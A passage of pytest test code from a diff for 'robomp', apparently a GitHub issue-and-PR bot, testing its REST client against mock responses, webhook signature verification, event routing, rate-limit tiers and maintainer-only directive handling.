with pytest.raises(ValueError):
|
||||
db.finalize_closure(_KEY, state="pending", reason=None) # type: ignore[arg-type]
|
||||
|
||||
|
||||
def test_requeue_claimed_closure_only_flips_claimed(db: Database) -> None:
|
||||
_seed_pending(db, close_at="2000-01-01T00:00:00.000000Z")
|
||||
db.claim_due_closures(now="2026-05-15T00:00:00.000000Z")
|
||||
assert db.requeue_claimed_closure(_KEY)
|
||||
row = db.get_pending_closure(_KEY)
|
||||
assert row is not None and row.state == "pending"
|
||||
# Now in pending state, requeue is a no-op.
|
||||
assert not db.requeue_claimed_closure(_KEY)
|
||||
@@ -0,0 +1,222 @@
|
||||
"""GitHub REST client tests against httpx.MockTransport."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
|
||||
import httpx
|
||||
import pytest
|
||||
|
||||
from robomp.github_client import GitHubClient, GitHubError
|
||||
|
||||
|
||||
def _run_async(coro):
|
||||
return asyncio.new_event_loop().run_until_complete(coro)
|
||||
|
||||
|
||||
def test_4xx_maps_to_github_error_with_message() -> None:
|
||||
transport = httpx.MockTransport(lambda req: httpx.Response(404, json={"message": "Not Found"}))
|
||||
client = GitHubClient("tok", transport=transport)
|
||||
with pytest.raises(GitHubError) as exc:
|
||||
asyncio.new_event_loop().run_until_complete(client.get_repo("o/r"))
|
||||
assert exc.value.status == 404
|
||||
assert "Not Found" in str(exc.value)
|
||||
|
||||
|
||||
def test_rate_limit_retry_after_parsed() -> None:
|
||||
transport = httpx.MockTransport(
|
||||
lambda req: httpx.Response(
|
||||
403,
|
||||
json={"message": "rate limited"},
|
||||
headers={"retry-after": "42"},
|
||||
)
|
||||
)
|
||||
client = GitHubClient("tok", transport=transport)
|
||||
with pytest.raises(GitHubError) as exc:
|
||||
asyncio.new_event_loop().run_until_complete(client.get_repo("o/r"))
|
||||
assert exc.value.retry_after == 42.0
|
||||
|
||||
|
||||
def test_redirect_without_follow_raises_github_error() -> None:
|
||||
"""If a moved repo returns 301 and the redirect target is unreachable,
|
||||
we must raise a clean GitHubError instead of parsing the response body."""
|
||||
calls: list[str] = []
|
||||
|
||||
def handler(request: httpx.Request) -> httpx.Response:
|
||||
calls.append(str(request.url))
|
||||
# First request: simulate a 301 redirect that the client cannot follow
|
||||
# because the new location resolves to a 410 Gone.
|
||||
if len(calls) == 1:
|
||||
return httpx.Response(
|
||||
301,
|
||||
headers={"location": "https://api.github.com/repositories/12345"},
|
||||
)
|
||||
return httpx.Response(410, json={"message": "Gone"})
|
||||
|
||||
transport = httpx.MockTransport(handler)
|
||||
client = GitHubClient("tok", transport=transport)
|
||||
with pytest.raises(GitHubError) as exc:
|
||||
asyncio.new_event_loop().run_until_complete(client.get_repo("old-owner/old-repo"))
|
||||
# Either we end up at 410 after following, or we surface the redirect itself
|
||||
# — both are GitHubError, not an internal exception.
|
||||
assert exc.value.status in (301, 410)
|
||||
|
||||
|
||||
def test_redirect_target_succeeds_when_followable() -> None:
|
||||
"""A 301 → 200 chain should resolve to the followed payload."""
|
||||
|
||||
def handler(request: httpx.Request) -> httpx.Response:
|
||||
if request.url.path == "/repos/old/repo":
|
||||
return httpx.Response(
|
||||
301,
|
||||
headers={"location": "https://api.github.com/repos/new/repo"},
|
||||
)
|
||||
return httpx.Response(
|
||||
200,
|
||||
json={
|
||||
"full_name": "new/repo",
|
||||
"default_branch": "main",
|
||||
"clone_url": "https://github.com/new/repo.git",
|
||||
"private": False,
|
||||
},
|
||||
)
|
||||
|
||||
transport = httpx.MockTransport(handler)
|
||||
client = GitHubClient("tok", transport=transport)
|
||||
repo = asyncio.new_event_loop().run_until_complete(client.get_repo("old/repo"))
|
||||
assert repo.full_name == "new/repo"
|
||||
|
||||
|
||||
def test_get_pull_request_parses_head_repo_and_author() -> None:
|
||||
def handler(request: httpx.Request) -> httpx.Response:
|
||||
assert request.url.path == "/repos/octo/widget/pulls/9"
|
||||
return httpx.Response(
|
||||
200,
|
||||
json={
|
||||
"number": 9,
|
||||
"html_url": "https://github.com/octo/widget/pull/9",
|
||||
"head": {"ref": "farm/abc12345/fix", "repo": {"full_name": "octo/widget"}},
|
||||
"base": {"ref": "main"},
|
||||
"state": "open",
|
||||
"user": {"login": "robomp-bot"},
|
||||
},
|
||||
)
|
||||
|
||||
client = GitHubClient("tok", transport=httpx.MockTransport(handler))
|
||||
pr = _run_async(client.get_pull_request("octo/widget", 9))
|
||||
assert pr.head_ref == "farm/abc12345/fix"
|
||||
assert pr.head_repo == "octo/widget"
|
||||
assert pr.author == "robomp-bot"
|
||||
|
||||
|
||||
def test_204_no_content_returns_none() -> None:
|
||||
transport = httpx.MockTransport(lambda r: httpx.Response(204))
|
||||
client = GitHubClient("tok", transport=transport)
|
||||
# add_assignees with empty list short-circuits without a request; pass one to force the call.
|
||||
asyncio.new_event_loop().run_until_complete(client.add_assignees("o/r", 1, ["alice"]))
|
||||
|
||||
|
||||
def test_list_closing_pull_requests_filters_disconnected_and_closed() -> None:
|
||||
"""Net connected−disconnected open PRs only."""
|
||||
captured: dict[str, str] = {}
|
||||
|
||||
timeline = [
|
||||
# PR #100 connected and still open → included
|
||||
{
|
||||
"event": "connected",
|
||||
"source": {"issue": {"number": 100, "state": "open", "pull_request": {"url": "..."}}},
|
||||
},
|
||||
# PR #200 connected then disconnected → excluded
|
||||
{
|
||||
"event": "connected",
|
||||
"source": {"issue": {"number": 200, "state": "open", "pull_request": {"url": "..."}}},
|
||||
},
|
||||
{
|
||||
"event": "disconnected",
|
||||
"source": {"issue": {"number": 200, "state": "open", "pull_request": {"url": "..."}}},
|
||||
},
|
||||
# PR #300 connected but currently closed (e.g. rejected) → excluded
|
||||
{
|
||||
"event": "connected",
|
||||
"source": {"issue": {"number": 300, "state": "closed", "pull_request": {"url": "..."}}},
|
||||
},
|
||||
# Cross-referenced (not connected) — not a closing link → excluded
|
||||
{
|
||||
"event": "cross-referenced",
|
||||
"source": {"issue": {"number": 400, "state": "open", "pull_request": {"url": "..."}}},
|
||||
},
|
||||
# Plain issue cross-ref (no pull_request) → excluded
|
||||
{
|
||||
"event": "connected",
|
||||
"source": {"issue": {"number": 500, "state": "open"}},
|
||||
},
|
||||
# Unrelated timeline events → ignored
|
||||
{"event": "labeled", "label": {"name": "bug"}},
|
||||
]
|
||||
|
||||
def handler(request: httpx.Request) -> httpx.Response:
|
||||
captured["path"] = request.url.path
|
||||
captured["per_page"] = request.url.params.get("per_page", "")
|
||||
return httpx.Response(200, json=timeline)
|
||||
|
||||
client = GitHubClient("tok", transport=httpx.MockTransport(handler))
|
||||
prs = _run_async(client.list_closing_pull_requests("octo/widget", 42))
|
||||
assert prs == (100,)
|
||||
assert captured["path"] == "/repos/octo/widget/issues/42/timeline"
|
||||
assert captured["per_page"] == "100"
|
||||
|
||||
|
||||
def test_list_closing_pull_requests_empty_timeline() -> None:
|
||||
transport = httpx.MockTransport(lambda r: httpx.Response(200, json=[]))
|
||||
client = GitHubClient("tok", transport=transport)
|
||||
assert _run_async(client.list_closing_pull_requests("octo/widget", 7)) == ()
|
||||
|
||||
|
||||
def test_list_comment_reactions_filters_to_thumbs_down() -> None:
|
||||
captured: dict[str, str] = {}
|
||||
|
||||
def handler(request: httpx.Request) -> httpx.Response:
|
||||
captured["path"] = request.url.path
|
||||
captured["content"] = request.url.params.get("content", "")
|
||||
captured["per_page"] = request.url.params.get("per_page", "")
|
||||
return httpx.Response(
|
||||
200,
|
||||
json=[
|
||||
{"content": "-1", "user": {"login": "Alice", "type": "User"}},
|
||||
{"content": "-1", "user": {"login": "rando", "type": "User"}},
|
||||
],
|
||||
)
|
||||
|
||||
client = GitHubClient("tok", transport=httpx.MockTransport(handler))
|
||||
reactions = _run_async(client.list_comment_reactions("octo/widget", 999))
|
||||
assert captured["path"] == "/repos/octo/widget/issues/comments/999/reactions"
|
||||
assert captured["content"] == "-1"
|
||||
assert captured["per_page"] == "100"
|
||||
assert tuple(r.user_login for r in reactions) == ("Alice", "rando")
|
||||
assert all(r.content == "-1" for r in reactions)
|
||||
|
||||
|
||||
def test_close_issue_sends_completed_state_reason() -> None:
|
||||
captured: dict[str, object] = {}
|
||||
|
||||
def handler(request: httpx.Request) -> httpx.Response:
|
||||
import json
|
||||
|
||||
captured["method"] = request.method
|
||||
captured["path"] = request.url.path
|
||||
captured["body"] = json.loads(request.content)
|
||||
return httpx.Response(200, json={})
|
||||
|
||||
client = GitHubClient("tok", transport=httpx.MockTransport(handler))
|
||||
assert _run_async(client.close_issue("octo/widget", 42)) is None
|
||||
assert captured["method"] == "PATCH"
|
||||
assert captured["path"] == "/repos/octo/widget/issues/42"
|
||||
assert captured["body"] == {"state": "closed", "state_reason": "completed"}
|
||||
|
||||
|
||||
def test_close_issue_propagates_error() -> None:
|
||||
transport = httpx.MockTransport(lambda r: httpx.Response(404, json={"message": "Not Found"}))
|
||||
client = GitHubClient("tok", transport=transport)
|
||||
with pytest.raises(GitHubError) as exc:
|
||||
_run_async(client.close_issue("octo/widget", 42))
|
||||
assert exc.value.status == 404
|
||||
@@ -0,0 +1,736 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import hashlib
|
||||
import hmac
|
||||
|
||||
from robomp.github_events import (
|
||||
extract_mention,
|
||||
is_maintainer,
|
||||
rate_limit_cap,
|
||||
route,
|
||||
verify_signature,
|
||||
)
|
||||
|
||||
ALLOWLIST = frozenset({"octo/widget"})
|
||||
BOT = "robomp-bot"
|
||||
|
||||
|
||||
def test_verify_signature_positive() -> None:
|
||||
secret = "shh"
|
||||
body = b'{"x":1}'
|
||||
sig = hmac.new(secret.encode(), body, hashlib.sha256).hexdigest()
|
||||
assert verify_signature(secret, body, f"sha256={sig}")
|
||||
|
||||
|
||||
def test_verify_signature_rejects_missing_header() -> None:
|
||||
assert not verify_signature("shh", b"{}", None)
|
||||
assert not verify_signature("shh", b"{}", "")
|
||||
assert not verify_signature("shh", b"{}", "md5=deadbeef")
|
||||
|
||||
|
||||
def test_verify_signature_rejects_wrong_secret() -> None:
|
||||
body = b'{"x":1}'
|
||||
sig = hmac.new(b"right", body, hashlib.sha256).hexdigest()
|
||||
assert not verify_signature("wrong", body, f"sha256={sig}")
|
||||
|
||||
|
||||
def test_route_issue_opened_queues_triage() -> None:
|
||||
decision = route(
|
||||
"issues",
|
||||
{
|
||||
"action": "opened",
|
||||
"issue": {"number": 4, "user": {"login": "alice"}},
|
||||
"repository": {"full_name": "octo/widget"},
|
||||
},
|
||||
allowlist=ALLOWLIST,
|
||||
bot_login=BOT,
|
||||
)
|
||||
assert decision.should_queue
|
||||
assert decision.task == "triage_issue"
|
||||
assert decision.issue_key == "octo/widget#4"
|
||||
|
||||
|
||||
def test_route_skips_disallowed_repo() -> None:
|
||||
decision = route(
|
||||
"issues",
|
||||
{"action": "opened", "issue": {"number": 1}, "repository": {"full_name": "other/repo"}},
|
||||
allowlist=ALLOWLIST,
|
||||
bot_login=BOT,
|
||||
)
|
||||
assert not decision.should_queue
|
||||
assert "allowlist" in decision.reason
|
||||
|
||||
|
||||
def test_route_skips_self_comment() -> None:
|
||||
decision = route(
|
||||
"issue_comment",
|
||||
{
|
||||
"action": "created",
|
||||
"comment": {"user": {"login": BOT}, "body": "hi"},
|
||||
"issue": {"number": 4},
|
||||
"repository": {"full_name": "octo/widget"},
|
||||
},
|
||||
allowlist=ALLOWLIST,
|
||||
bot_login=BOT,
|
||||
)
|
||||
assert not decision.should_queue
|
||||
|
||||
|
||||
def test_route_skips_bot_suffix_comment() -> None:
|
||||
decision = route(
|
||||
"issue_comment",
|
||||
{
|
||||
"action": "created",
|
||||
"comment": {"user": {"login": "github-actions[bot]", "type": "Bot"}, "body": "ci ran"},
|
||||
"issue": {"number": 4},
|
||||
"repository": {"full_name": "octo/widget"},
|
||||
},
|
||||
allowlist=ALLOWLIST,
|
||||
bot_login=BOT,
|
||||
)
|
||||
assert not decision.should_queue
|
||||
assert "bot" in decision.reason
|
||||
|
||||
|
||||
def test_route_skips_user_type_bot() -> None:
|
||||
decision = route(
|
||||
"issue_comment",
|
||||
{
|
||||
"action": "created",
|
||||
"comment": {"user": {"login": "renovate", "type": "Bot"}, "body": "deps"},
|
||||
"issue": {"number": 4},
|
||||
"repository": {"full_name": "octo/widget"},
|
||||
},
|
||||
allowlist=ALLOWLIST,
|
||||
bot_login=BOT,
|
||||
)
|
||||
assert not decision.should_queue
|
||||
|
||||
|
||||
def test_route_comment_routes_handle_comment() -> None:
|
||||
decision = route(
|
||||
"issue_comment",
|
||||
{
|
||||
"action": "created",
|
||||
"comment": {"user": {"login": "alice"}, "body": "hi"},
|
||||
"issue": {"number": 4},
|
||||
"repository": {"full_name": "octo/widget"},
|
||||
},
|
||||
allowlist=ALLOWLIST,
|
||||
bot_login=BOT,
|
||||
)
|
||||
assert decision.should_queue
|
||||
assert decision.task == "handle_comment"
|
||||
assert decision.issue_key == "octo/widget#4"
|
||||
|
||||
|
||||
def test_route_pr_conversation_uses_handle_pr_conversation() -> None:
|
||||
"""A regular comment on a PR (not a review) must NOT route to handle_review."""
|
||||
decision = route(
|
||||
"issue_comment",
|
||||
{
|
||||
"action": "created",
|
||||
"comment": {"user": {"login": "alice"}, "body": "looks good"},
|
||||
"issue": {"number": 9, "pull_request": {"url": "x"}},
|
||||
"repository": {"full_name": "octo/widget"},
|
||||
},
|
||||
allowlist=ALLOWLIST,
|
||||
bot_login=BOT,
|
||||
resolve_issue_from_pr=lambda _r, _n: "octo/widget#42",
|
||||
)
|
||||
assert decision.should_queue
|
||||
assert decision.task == "handle_pr_conversation"
|
||||
|
||||
|
||||
def test_route_pr_conversation_uses_resolver_for_inflight_key() -> None:
|
||||
"""PR-derived events MUST serialize on the originating issue's key."""
|
||||
|
||||
def resolver(repo: str, pr_number: int) -> str | None:
|
||||
assert repo == "octo/widget"
|
||||
assert pr_number == 9
|
||||
return "octo/widget#42"
|
||||
|
||||
decision = route(
|
||||
"issue_comment",
|
||||
{
|
||||
"action": "created",
|
||||
"comment": {"user": {"login": "alice"}, "body": "looks good"},
|
||||
"issue": {"number": 9, "pull_request": {"url": "x"}},
|
||||
"repository": {"full_name": "octo/widget"},
|
||||
},
|
||||
allowlist=ALLOWLIST,
|
||||
bot_login=BOT,
|
||||
resolve_issue_from_pr=resolver,
|
||||
)
|
||||
assert decision.should_queue
|
||||
# Same key as if the user had commented on issue #42 directly.
|
||||
assert decision.issue_key == "octo/widget#42"
|
||||
|
||||
|
||||
def test_route_pr_conversation_falls_back_to_pr_key_when_resolver_misses() -> None:
|
||||
"""Unmapped PR comments still queue so the worker can recover from the PR branch."""
|
||||
|
||||
decision = route(
|
||||
"issue_comment",
|
||||
{
|
||||
"action": "created",
|
||||
"comment": {"user": {"login": "alice"}, "body": "hi"},
|
||||
"issue": {"number": 9, "pull_request": {"url": "x"}},
|
||||
"repository": {"full_name": "octo/widget"},
|
||||
},
|
||||
allowlist=ALLOWLIST,
|
||||
bot_login=BOT,
|
||||
resolve_issue_from_pr=lambda _r, _n: None,
|
||||
)
|
||||
assert decision.should_queue
|
||||
assert decision.task == "handle_pr_conversation"
|
||||
assert decision.submitter == "alice"
|
||||
assert decision.issue_key == "octo/widget#9"
|
||||
|
||||
|
||||
def test_route_review_only_for_bot_authored_pr() -> None:
|
||||
decision = route(
|
||||
"pull_request_review_comment",
|
||||
{
|
||||
"action": "created",
|
||||
"comment": {"user": {"login": "alice"}, "body": "nit"},
|
||||
"pull_request": {"number": 9, "user": {"login": BOT}},
|
||||
"repository": {"full_name": "octo/widget"},
|
||||
},
|
||||
allowlist=ALLOWLIST,
|
||||
bot_login=BOT,
|
||||
resolve_issue_from_pr=lambda _r, _n: "octo/widget#42",
|
||||
)
|
||||
assert decision.should_queue
|
||||
assert decision.task == "handle_review"
|
||||
assert decision.issue_key == "octo/widget#42"
|
||||
|
||||
not_ours = route(
|
||||
"pull_request_review_comment",
|
||||
{
|
||||
"action": "created",
|
||||
"comment": {"user": {"login": "alice"}, "body": "nit"},
|
||||
"pull_request": {"number": 9, "user": {"login": "someone-else"}},
|
||||
"repository": {"full_name": "octo/widget"},
|
||||
},
|
||||
allowlist=ALLOWLIST,
|
||||
bot_login=BOT,
|
||||
)
|
||||
assert not not_ours.should_queue
|
||||
|
||||
|
||||
def test_route_review_comment_falls_back_to_pr_key_when_resolver_misses() -> None:
|
||||
decision = route(
|
||||
"pull_request_review_comment",
|
||||
{
|
||||
"action": "created",
|
||||
"comment": {"user": {"login": "alice"}, "body": "nit"},
|
||||
"pull_request": {"number": 9, "user": {"login": BOT}},
|
||||
"repository": {"full_name": "octo/widget"},
|
||||
},
|
||||
allowlist=ALLOWLIST,
|
||||
bot_login=BOT,
|
||||
resolve_issue_from_pr=lambda _r, _n: None,
|
||||
)
|
||||
assert decision.should_queue
|
||||
assert decision.task == "handle_review"
|
||||
assert decision.submitter == "alice"
|
||||
assert decision.issue_key == "octo/widget#9"
|
||||
|
||||
|
||||
def test_route_pr_closed_only_when_merged_by_bot() -> None:
|
||||
payload = {
|
||||
"action": "closed",
|
||||
"pull_request": {"number": 9, "user": {"login": BOT}, "merged": True},
|
||||
"repository": {"full_name": "octo/widget"},
|
||||
}
|
||||
decision = route(
|
||||
"pull_request",
|
||||
payload,
|
||||
allowlist=ALLOWLIST,
|
||||
bot_login=BOT,
|
||||
resolve_issue_from_pr=lambda _r, _n: "octo/widget#42",
|
||||
)
|
||||
assert decision.should_queue
|
||||
assert decision.task == "cleanup_workspace"
|
||||
assert decision.issue_key == "octo/widget#42"
|
||||
|
||||
fallback = route(
|
||||
"pull_request",
|
||||
payload,
|
||||
allowlist=ALLOWLIST,
|
||||
bot_login=BOT,
|
||||
resolve_issue_from_pr=lambda _r, _n: None,
|
||||
)
|
||||
assert fallback.should_queue
|
||||
assert fallback.task == "cleanup_workspace"
|
||||
assert fallback.issue_key == "octo/widget#9"
|
||||
assert fallback.submitter is None
|
||||
|
||||
payload["pull_request"]["merged"] = False # type: ignore[index]
|
||||
assert not route("pull_request", payload, allowlist=ALLOWLIST, bot_login=BOT).should_queue
|
||||
|
||||
|
||||
def test_route_skips_pull_request_issues_event() -> None:
|
||||
decision = route(
|
||||
"issues",
|
||||
{
|
||||
"action": "opened",
|
||||
"issue": {"number": 4, "pull_request": {"url": "x"}},
|
||||
"repository": {"full_name": "octo/widget"},
|
||||
},
|
||||
allowlist=ALLOWLIST,
|
||||
bot_login=BOT,
|
||||
)
|
||||
assert not decision.should_queue
|
||||
|
||||
|
||||
def test_route_issue_opened_captures_submitter() -> None:
|
||||
decision = route(
|
||||
"issues",
|
||||
{
|
||||
"action": "opened",
|
||||
"issue": {
|
||||
"number": 4,
|
||||
"user": {"login": "alice"},
|
||||
"author_association": "FIRST_TIME_CONTRIBUTOR",
|
||||
},
|
||||
"repository": {"full_name": "octo/widget"},
|
||||
},
|
||||
allowlist=ALLOWLIST,
|
||||
bot_login=BOT,
|
||||
)
|
||||
assert decision.submitter == "alice"
|
||||
assert decision.association == "FIRST_TIME_CONTRIBUTOR"
|
||||
|
||||
|
||||
def test_route_comment_captures_comment_author_association() -> None:
|
||||
decision = route(
|
||||
"issue_comment",
|
||||
{
|
||||
"action": "created",
|
||||
"comment": {
|
||||
"user": {"login": "bob"},
|
||||
"body": "hi",
|
||||
"author_association": "CONTRIBUTOR",
|
||||
},
|
||||
"issue": {"number": 4},
|
||||
"repository": {"full_name": "octo/widget"},
|
||||
},
|
||||
allowlist=ALLOWLIST,
|
||||
bot_login=BOT,
|
||||
)
|
||||
assert decision.submitter == "bob"
|
||||
assert decision.association == "CONTRIBUTOR"
|
||||
|
||||
|
||||
def test_route_pr_merged_carries_no_submitter() -> None:
|
||||
"""Lifecycle events (cleanup on merge) are not user submissions."""
|
||||
payload = {
|
||||
"action": "closed",
|
||||
"pull_request": {"number": 9, "user": {"login": BOT}, "merged": True},
|
||||
"repository": {"full_name": "octo/widget"},
|
||||
}
|
||||
decision = route(
|
||||
"pull_request",
|
||||
payload,
|
||||
allowlist=ALLOWLIST,
|
||||
bot_login=BOT,
|
||||
resolve_issue_from_pr=lambda _r, _n: "octo/widget#42",
|
||||
)
|
||||
assert decision.should_queue
|
||||
assert decision.submitter is None
|
||||
|
||||
|
||||
def test_rate_limit_cap_unlimited_allowlist_beats_association() -> None:
|
||||
# Even a NONE association is unlimited when login is in the explicit list.
|
||||
assert (
|
||||
rate_limit_cap(
|
||||
"can1357",
|
||||
"NONE",
|
||||
unlimited=frozenset({"can1357"}),
|
||||
default=3,
|
||||
contributor=10,
|
||||
)
|
||||
is None
|
||||
)
|
||||
|
||||
|
||||
def test_rate_limit_cap_unlimited_is_case_insensitive() -> None:
|
||||
assert (
|
||||
rate_limit_cap(
|
||||
"Can1357",
|
||||
None,
|
||||
unlimited=frozenset({"can1357"}),
|
||||
default=3,
|
||||
contributor=10,
|
||||
)
|
||||
is None
|
||||
)
|
||||
|
||||
|
||||
def test_rate_limit_cap_trusted_associations_bypass() -> None:
|
||||
for assoc in ("OWNER", "MEMBER", "COLLABORATOR"):
|
||||
assert (
|
||||
rate_limit_cap(
|
||||
"stranger",
|
||||
assoc,
|
||||
unlimited=frozenset(),
|
||||
default=3,
|
||||
contributor=10,
|
||||
)
|
||||
is None
|
||||
), assoc
|
||||
|
||||
|
||||
def test_rate_limit_cap_contributor_tier() -> None:
|
||||
assert (
|
||||
rate_limit_cap(
|
||||
"alice",
|
||||
"CONTRIBUTOR",
|
||||
unlimited=frozenset(),
|
||||
default=3,
|
||||
contributor=10,
|
||||
)
|
||||
== 10
|
||||
)
|
||||
|
||||
|
||||
def test_rate_limit_cap_default_tier_for_unknown_and_first_timer() -> None:
|
||||
for assoc in (None, "NONE", "FIRST_TIME_CONTRIBUTOR", "FIRST_TIMER"):
|
||||
assert (
|
||||
rate_limit_cap(
|
||||
"alice",
|
||||
assoc,
|
||||
unlimited=frozenset(),
|
||||
default=3,
|
||||
contributor=10,
|
||||
)
|
||||
== 3
|
||||
), assoc
|
||||
|
||||
|
||||
# ---------- mention + directive ----------
|
||||
|
||||
|
||||
def test_extract_mention_returns_body_minus_mention() -> None:
|
||||
assert extract_mention("hey @robomp-bot please look", "robomp-bot") == "hey please look"
|
||||
assert extract_mention("@robomp-bot do X", "robomp-bot") == "do X"
|
||||
|
||||
|
||||
def test_extract_mention_returns_none_without_mention() -> None:
|
||||
assert extract_mention("hello there", "robomp-bot") is None
|
||||
assert extract_mention(None, "robomp-bot") is None
|
||||
assert extract_mention("", "robomp-bot") is None
|
||||
|
||||
|
||||
def test_extract_mention_is_case_insensitive() -> None:
|
||||
assert extract_mention("yo @ROBOMP-BOT", "robomp-bot") == "yo"
|
||||
|
||||
|
||||
def test_extract_mention_respects_hyphen_word_boundary() -> None:
|
||||
# @robomp-bot-helper must NOT match @robomp-bot.
|
||||
assert extract_mention("@robomp-bot-helper hi", "robomp-bot") is None
|
||||
|
||||
|
||||
def test_extract_mention_handles_multiple_occurrences() -> None:
|
||||
assert extract_mention("@robomp-bot one, then @robomp-bot two", "robomp-bot") == "one, then two"
|
||||
|
||||
|
||||
def test_is_maintainer_recognizes_explicit_allowlist() -> None:
|
||||
assert is_maintainer("can1357", None, maintainers=frozenset({"can1357"}))
|
||||
assert is_maintainer("Can1357", "NONE", maintainers=frozenset({"can1357"}))
|
||||
|
||||
|
||||
def test_is_maintainer_recognizes_trusted_associations() -> None:
|
||||
for assoc in ("OWNER", "MEMBER", "COLLABORATOR"):
|
||||
assert is_maintainer("anyone", assoc, maintainers=frozenset()), assoc
|
||||
|
||||
|
||||
def test_is_maintainer_rejects_contributor_and_none() -> None:
|
||||
assert not is_maintainer("alice", "CONTRIBUTOR", maintainers=frozenset())
|
||||
assert not is_maintainer("alice", None, maintainers=frozenset())
|
||||
assert is_maintainer(None, "OWNER", maintainers=frozenset()) # association still wins
|
||||
|
||||
|
||||
def test_route_directive_set_on_issue_comment_when_owner_mentions_bot() -> None:
|
||||
decision = route(
|
||||
"issue_comment",
|
||||
{
|
||||
"action": "created",
|
||||
"comment": {
|
||||
"user": {"login": "can1357"},
|
||||
"author_association": "OWNER",
|
||||
"body": "@robomp-bot please refactor X",
|
||||
},
|
||||
"issue": {"number": 9},
|
||||
"repository": {"full_name": "octo/widget"},
|
||||
},
|
||||
allowlist=ALLOWLIST,
|
||||
bot_login=BOT,
|
||||
)
|
||||
assert decision.should_queue
|
||||
assert decision.directive is True
|
||||
assert decision.directive_body == "please refactor X"
|
||||
assert decision.directive_author == "can1357"
|
||||
|
||||
|
||||
def test_route_directive_set_when_login_in_maintainers_list() -> None:
|
||||
decision = route(
|
||||
"issue_comment",
|
||||
{
|
||||
"action": "created",
|
||||
"comment": {
|
||||
"user": {"login": "can1357"},
|
||||
# No author_association field.
|
||||
"body": "@robomp-bot do it",
|
||||
},
|
||||
"issue": {"number": 9},
|
||||
"repository": {"full_name": "octo/widget"},
|
||||
},
|
||||
allowlist=ALLOWLIST,
|
||||
bot_login=BOT,
|
||||
maintainers=frozenset({"can1357"}),
|
||||
)
|
||||
assert decision.directive is True
|
||||
assert decision.directive_body == "do it"
|
||||
assert decision.directive_author == "can1357"
|
||||
|
||||
|
||||
def test_route_directive_unset_for_random_user_even_with_mention() -> None:
|
||||
decision = route(
|
||||
"issue_comment",
|
||||
{
|
||||
"action": "created",
|
||||
"comment": {
|
||||
"user": {"login": "stranger"},
|
||||
"author_association": "NONE",
|
||||
"body": "@robomp-bot please refactor X",
|
||||
},
|
||||
"issue": {"number": 9},
|
||||
"repository": {"full_name": "octo/widget"},
|
||||
},
|
||||
allowlist=ALLOWLIST,
|
||||
bot_login=BOT,
|
||||
)
|
||||
assert decision.should_queue # comment still routed normally
|
||||
assert decision.directive is False
|
||||
assert decision.directive_body is None
|
||||
|
||||
|
||||
def test_route_directive_unset_for_maintainer_without_mention() -> None:
|
||||
decision = route(
|
||||
"issue_comment",
|
||||
{
|
||||
"action": "created",
|
||||
"comment": {
|
||||
"user": {"login": "can1357"},
|
||||
"author_association": "OWNER",
|
||||
"body": "looks good to me",
|
||||
},
|
||||
"issue": {"number": 9},
|
||||
"repository": {"full_name": "octo/widget"},
|
||||
},
|
||||
allowlist=ALLOWLIST,
|
||||
bot_login=BOT,
|
||||
)
|
||||
assert decision.directive is False
|
||||
|
||||
|
||||
def test_route_directive_set_on_pr_conversation() -> None:
|
||||
decision = route(
|
||||
"issue_comment",
|
||||
{
|
||||
"action": "created",
|
||||
"comment": {
|
||||
"user": {"login": "can1357"},
|
||||
"author_association": "OWNER",
|
||||
"body": "@robomp-bot change the indentation in foo.py",
|
||||
},
|
||||
"issue": {"number": 50, "pull_request": {"url": "x"}},
|
||||
"repository": {"full_name": "octo/widget"},
|
||||
},
|
||||
allowlist=ALLOWLIST,
|
||||
bot_login=BOT,
|
||||
resolve_issue_from_pr=lambda _r, _n: "octo/widget#42",
|
||||
)
|
||||
assert decision.should_queue
|
||||
assert decision.task == "handle_pr_conversation"
|
||||
assert decision.directive is True
|
||||
assert decision.directive_body == "change the indentation in foo.py"
|
||||
|
||||
|
||||
def test_route_directive_set_on_review_comment() -> None:
|
||||
decision = route(
|
||||
"pull_request_review_comment",
|
||||
{
|
||||
"action": "created",
|
||||
"comment": {
|
||||
"user": {"login": "can1357"},
|
||||
"author_association": "OWNER",
|
||||
"body": "@robomp-bot use a generator here",
|
||||
},
|
||||
"pull_request": {"number": 50, "user": {"login": BOT}},
|
||||
"repository": {"full_name": "octo/widget"},
|
||||
},
|
||||
allowlist=ALLOWLIST,
|
||||
bot_login=BOT,
|
||||
resolve_issue_from_pr=lambda _r, _n: "octo/widget#42",
|
||||
)
|
||||
assert decision.should_queue
|
||||
assert decision.task == "handle_review"
|
||||
assert decision.directive is True
|
||||
assert decision.directive_body == "use a generator here"
|
||||
|
||||
|
||||
# ---------- reviewer bots ----------
|
||||
|
||||
|
||||
def test_route_reviewer_bot_comment_is_directive_without_mention() -> None:
|
||||
decision = route(
|
||||
"issue_comment",
|
||||
{
|
||||
"action": "created",
|
||||
"comment": {
|
||||
"user": {"login": "chatgpt-codex-connector", "type": "Bot"},
|
||||
"body": "Found two issues in the diff: ...",
|
||||
},
|
||||
"issue": {"number": 9, "pull_request": {"url": "x"}},
|
||||
"repository": {"full_name": "octo/widget"},
|
||||
},
|
||||
allowlist=ALLOWLIST,
|
||||
bot_login=BOT,
|
||||
reviewer_bots=frozenset({"chatgpt-codex-connector"}),
|
||||
resolve_issue_from_pr=lambda _r, _n: "octo/widget#42",
|
||||
)
|
||||
assert decision.should_queue
|
||||
assert decision.task == "handle_pr_conversation"
|
||||
assert decision.directive is True
|
||||
assert decision.directive_body == "Found two issues in the diff: ..."
|
||||
assert decision.directive_author == "chatgpt-codex-connector"
|
||||
|
||||
|
||||
def test_route_reviewer_bot_review_comment_is_directive() -> None:
|
||||
decision = route(
|
||||
"pull_request_review_comment",
|
||||
{
|
||||
"action": "created",
|
||||
"comment": {
|
||||
"user": {"login": "chatgpt-codex-connector", "type": "Bot"},
|
||||
"body": "This branch leaks memory.",
|
||||
},
|
||||
"pull_request": {"number": 50, "user": {"login": BOT}},
|
||||
"repository": {"full_name": "octo/widget"},
|
||||
},
|
||||
allowlist=ALLOWLIST,
|
||||
bot_login=BOT,
|
||||
reviewer_bots=frozenset({"chatgpt-codex-connector"}),
|
||||
resolve_issue_from_pr=lambda _r, _n: "octo/widget#42",
|
||||
)
|
||||
assert decision.should_queue
|
||||
assert decision.task == "handle_review"
|
||||
assert decision.directive is True
|
||||
assert decision.directive_body == "This branch leaks memory."
|
||||
assert decision.directive_author == "chatgpt-codex-connector"
|
||||
|
||||
|
||||
def test_route_random_bot_still_skipped_when_not_in_reviewer_list() -> None:
|
||||
decision = route(
|
||||
"issue_comment",
